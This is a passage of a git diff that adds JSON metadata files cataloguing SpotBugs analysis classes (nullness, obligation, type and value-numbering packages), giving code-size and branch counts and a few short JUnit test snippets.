"@Test\n void testAbnormalMergeWithNormal() throws Exception {\n abnormal.mergeWith(normal);\n Assertions.assertTrue(abnormal.canReturnNormally());\n }" + }, + { + "description": "testNormalMergeWithNormal", + "expected-problems": null, + "expected-linenumbers": [ + 106, + 113 + ], + "code": "@Test\n void testNormalMergeWithNormal() throws Exception {\n ReturnPathType otherNormal = new ReturnPathType();\n otherNormal.setCanReturnNormally(true);\n\n normal.mergeWith(otherNormal);\n Assertions.assertTrue(normal.canReturnNormally());\n }" + }, + { + "description": "testAbnormalMergeWithAbnormal", + "expected-problems": null, + "expected-linenumbers": [ + 115, + 122 + ], + "code": "@Test\n void testAbnormalMergeWithAbnormal() throws Exception {\n ReturnPathType otherAbnormal = new ReturnPathType();\n otherAbnormal.setCanReturnNormally(false);\n\n abnormal.mergeWith(otherAbnormal);\n Assertions.assertFalse(abnormal.canReturnNormally());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeAnalysis.json new file mode 100644 index 0000000..9d6ea54 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathTypeAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 174, + "branches": 8, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeDataflow.json new file mode 100644 index 0000000..54b74e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnPathTypeDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnPathTypeDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnValueNullnessPropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnValueNullnessPropertyDatabase.json new file mode 100644 index 0000000..29af3e3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/ReturnValueNullnessPropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "ReturnValueNullnessPropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/TypeQualifierNullnessAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/TypeQualifierNullnessAnnotationDatabase.json new file mode 100644 index 0000000..8f7af65 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/TypeQualifierNullnessAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "TypeQualifierNullnessAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 443, + "branches": 54, + "apis": 89, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/UsagesRequiringNonNullValues.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/UsagesRequiringNonNullValues.json new file mode 100644 index 0000000..27dfe69 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/UsagesRequiringNonNullValues.json @@ -0,0 +1,13 @@ +{ + "name": "UsagesRequiringNonNullValues", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 8, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/npe/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/InstructionActionCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/InstructionActionCache.json new file mode 100644 index 0000000..bbdc6eb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/InstructionActionCache.json @@ -0,0 +1,13 @@ +{ + "name": "InstructionActionCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 218, + "branches": 31, + "apis": 50, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/MatchMethodEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/MatchMethodEntry.json new file mode 100644 index 0000000..3ebb384 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/MatchMethodEntry.json @@ -0,0 +1,13 @@ +{ + "name": "MatchMethodEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 5, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/NonexistentObligationException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/NonexistentObligationException.json new file mode 100644 index 0000000..ef75979 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/NonexistentObligationException.json @@ -0,0 +1,13 @@ +{ + "name": "NonexistentObligationException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/Obligation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/Obligation.json new file mode 100644 index 0000000..2676a73 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/Obligation.json @@ -0,0 +1,13 @@ +{ + "name": "Obligation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAcquiredOrReleasedInLoopException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAcquiredOrReleasedInLoopException.json new file mode 100644 index 0000000..c7ab7f2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAcquiredOrReleasedInLoopException.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationAcquiredOrReleasedInLoopException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAnalysis.json new file mode 100644 index 0000000..3b26a1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 476, + "branches": 55, + "apis": 103, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationDataflow.json new file mode 100644 index 0000000..e22a679 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 34, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationFactory.json new file mode 100644 index 0000000..d05d943 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 20, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabase.json new file mode 100644 index 0000000..96b20bb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationPolicyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 11, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseAction.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseAction.json new file mode 100644 index 0000000..2fc58dd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseAction.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationPolicyDatabaseAction", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseActionType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseActionType.json new file mode 100644 index 0000000..d748e76 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseActionType.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationPolicyDatabaseActionType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntry.json new file mode 100644 index 0000000..02b46c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationPolicyDatabaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 4, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntryType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntryType.json new file mode 100644 index 0000000..ac858b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationPolicyDatabaseEntryType.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationPolicyDatabaseEntryType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationSet.json new file mode 100644 index 0000000..8e5ef21 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/ObligationSet.json @@ -0,0 +1,13 @@ +{ + "name": "ObligationSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 177, + "branches": 13, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/State.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/State.json new file mode 100644 index 0000000..f90c76a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/State.json @@ -0,0 +1,13 @@ +{ + "name": "State", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 3, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/StateSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/StateSet.json new file mode 100644 index 0000000..2a842d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/StateSet.json @@ -0,0 +1,13 @@ +{ + "name": "StateSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 316, + "branches": 18, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/package-info.json new file mode 100644 index 0000000..317af23 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/obl/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 1, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/package-info.json new file mode 100644 index 0000000..963fef6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 7, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/BottomType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/BottomType.json new file mode 100644 index 0000000..6fbab22 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/BottomType.json @@ -0,0 +1,13 @@ +{ + "name": "BottomType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/DoubleExtraType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/DoubleExtraType.json new file mode 100644 index 0000000..f25d3f4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/DoubleExtraType.json @@ -0,0 +1,13 @@ +{ + "name": "DoubleExtraType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionObjectType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionObjectType.json new file mode 100644 index 0000000..b332760 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionObjectType.json @@ -0,0 +1,13 @@ +{ + "name": "ExceptionObjectType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 8, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSet.json new file mode 100644 index 0000000..45fb517 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSet.json @@ -0,0 +1,13 @@ +{ + "name": "ExceptionSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 372, + "branches": 33, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSetFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSetFactory.json new file mode 100644 index 0000000..11fc818 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExceptionSetFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ExceptionSetFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExtendedTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExtendedTypes.json new file mode 100644 index 0000000..8896203 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ExtendedTypes.json @@ -0,0 +1,13 @@ +{ + "name": "ExtendedTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 9, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreType.json new file mode 100644 index 0000000..791bc79 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreType.json @@ -0,0 +1,13 @@ +{ + "name": "FieldStoreType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 13, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreTypeDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreTypeDatabase.json new file mode 100644 index 0000000..41f4084 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/FieldStoreTypeDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "FieldStoreTypeDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 8, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/LongExtraType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/LongExtraType.json new file mode 100644 index 0000000..c011c9b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/LongExtraType.json @@ -0,0 +1,13 @@ +{ + "name": "LongExtraType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/NullType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/NullType.json new file mode 100644 index 0000000..99db70e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/NullType.json @@ -0,0 +1,13 @@ +{ + "name": "NullType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/StandardTypeMerger.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/StandardTypeMerger.json new file mode 100644 index 0000000..cf83984 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/StandardTypeMerger.json @@ -0,0 +1,13 @@ +{ + "name": "StandardTypeMerger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 250, + "branches": 39, + "apis": 34, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ThrownException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ThrownException.json new file mode 100644 index 0000000..7f83840 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/ThrownException.json @@ -0,0 +1,13 @@ +{ + "name": "ThrownException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 5, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TopType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TopType.json new file mode 100644 index 0000000..16a0219 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TopType.json @@ -0,0 +1,13 @@ +{ + "name": "TopType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeAnalysis.json new file mode 100644 index 0000000..e5613e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "TypeAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 987, + "branches": 123, + "apis": 175, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeDataflow.json new file mode 100644 index 0000000..981be14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "TypeDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 73, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrame.json new file mode 100644 index 0000000..34a72f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrame.json @@ -0,0 +1,13 @@ +{ + "name": "TypeFrame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 202, + "branches": 14, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrameModelingVisitor.json new file mode 100644 index 0000000..e719dd2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeFrameModelingVisitor.json @@ -0,0 +1,23 @@ +{ + "name": "TypeFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1504, + "branches": 152, + "apis": 310, + "test": [ + { + "description": "testMapSignaturePattern", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 34 + ], + "code": "@Test\n void testMapSignaturePattern() {\n // assertTrue(TypeFrameModelingVisitor.mapSignaturePattern.matcher(\"<\") && !sourceSignature.contains(\"Map\"))\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeMerger.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeMerger.json new file mode 100644 index 0000000..9d929e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/TypeMerger.json @@ -0,0 +1,13 @@ +{ + "name": "TypeMerger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/type/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/AvailableLoad.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/AvailableLoad.json new file mode 100644 index 0000000..2257a46 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/AvailableLoad.json @@ -0,0 +1,13 @@ +{ + "name": "AvailableLoad", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 135, + "branches": 13, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/LoadedFieldSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/LoadedFieldSet.json new file mode 100644 index 0000000..51db7e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/LoadedFieldSet.json @@ -0,0 +1,13 @@ +{ + "name": "LoadedFieldSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 159, + "branches": 9, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/MergeTree.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/MergeTree.json new file mode 100644 index 0000000..19f3820 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/MergeTree.json @@ -0,0 +1,13 @@ +{ + "name": "MergeTree", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 165, + "branches": 20, + "apis": 33, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumber.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumber.json new file mode 100644 index 0000000..577c1b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule 